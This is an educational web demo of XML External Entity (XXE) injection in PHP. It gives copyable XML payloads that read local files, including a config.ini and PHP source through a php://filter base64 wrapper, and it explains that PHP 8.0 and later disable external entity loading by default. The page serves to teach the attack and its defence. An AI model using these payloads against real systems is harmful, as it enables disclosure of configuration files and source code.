XXE (XML External Entity Injection) demo

Try parsing one of the following XMLs, click to copy the code to the input area below (the demo won't parse any other XML because security)

To get a contents of file.txt:

<!DOCTYPE root [
  <!ENTITY foo SYSTEM "file.txt">
]>
<xml>&foo;</xml>

To get a contents of config/config.ini:

<!DOCTYPE root [
  <!ENTITY foo SYSTEM "config/config.ini">
]>
<xml>&foo;</xml>

To get a contents of this PHP file (won't work because most PHP can't be parsed as XML):

<!DOCTYPE root [
  <!ENTITY foo SYSTEM "index.php">
]>
<xml>&foo;</xml>

To get a contents of this PHP file as a Base64-encoded string (this time for real):

<!DOCTYPE root [
  <!ENTITY foo SYSTEM "php://filter/read=convert.base64-encode/resource=index.php">
]>
<xml>&foo;</xml>

The predefined entities will always work regardless if you want to substitute external entities or not:

<xml>&quot; &amp; &apos; &gt; &lt;</xml>

Parse XML

Starting with PHP 8.0 (this demo is running on 8.3.8), the minimum required libxml version is 2.9.0 (this demo uses 2.9.14) which means that external entity loading is now guaranteed to be disabled by default, and no extra steps need to be taken to protect against XXE attacks. This is the same behavior you get when you leave the Substitute entities checkbox unchecked.

Before PHP 8.0, you had to call libxml_disable_entity_loader() to make sure the loader is disabled. When checked, the checkbox above simulates the older defaults where entities were substituted, demostrating the XXE (XML External Entity Injection) attack. The simulation is done by passing LIBXML_NOENT option to the XML parser, don't try this at home!


↩ Home · Created by Michal Špaček michalspacek.com, michalspacek.cz, @spazef0rze, Mastodon, source